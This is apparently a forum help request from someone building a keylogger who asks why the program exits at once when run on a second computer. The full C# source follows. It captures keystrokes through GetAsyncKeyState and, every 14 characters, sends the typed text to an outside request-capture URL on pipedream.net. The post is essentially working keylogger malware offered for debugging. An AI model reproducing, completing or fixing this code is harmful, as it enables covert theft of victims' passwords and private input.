So I am making a keylogger and I build it and ran it on my other computer to test it but it just closed immediately so I tried adding Console.ReadLine();
that didn't work then I tried the Console.ReadKey();
didn't work either.
I want so when u press the close button it closes no other way using a fricking key it's a KeyLogger god dangit
Btw it opens fine in Visual Studio
Heres the code:
using System.Threading;
using System.Runtime.InteropServices;
using System.Net;
namespace Program
{
class Program
{
public bool islogging = false;
public string loggedData = "";
[DllImport("user32.dll")]
public static extern short GetAsyncKeyState(int key);
public void logKeyStrokes()
{
this.islogging = true;
int key;
while (this.islogging)
{
for (key = 8; key < 190; key++)
{
if (GetAsyncKeyState(key) == -32767)
{
this.checkKeys(key);
}
}
}
}
public void checkKeys(int keyCode)
{
switch (keyCode)
{
case 8:
if (!string.IsNullOrEmpty(this.loggedData))
{
this.loggedData = this.loggedData.Substring(0, this.loggedData.Length - 1);
}
break;
case 9:
this.loggedData += " ";
break;
case 13:
this.loggedData += " [ENTER] ";
break;
case 16:
this.loggedData += " [SHIFT] ";
break;
default:
this.loggedData += (char)keyCode;
break;
}
if (this.loggedData.Length >= 14)
{
HttpWebRequest req = (HttpWebRequest)WebRequest.Create("https://noneofyourfuckingbusiness.x.pipedream.net?" + this.loggedData);
req.GetResponse();
this.loggedData = "";
}
}
public void threadKeyLogging()
{
new Thread(new ThreadStart(this.logKeyStrokes)).Start();
}
public static void Main()
{
Program p = new Program();
p.threadKeyLogging();
Console.WriteLine("");
}
}
}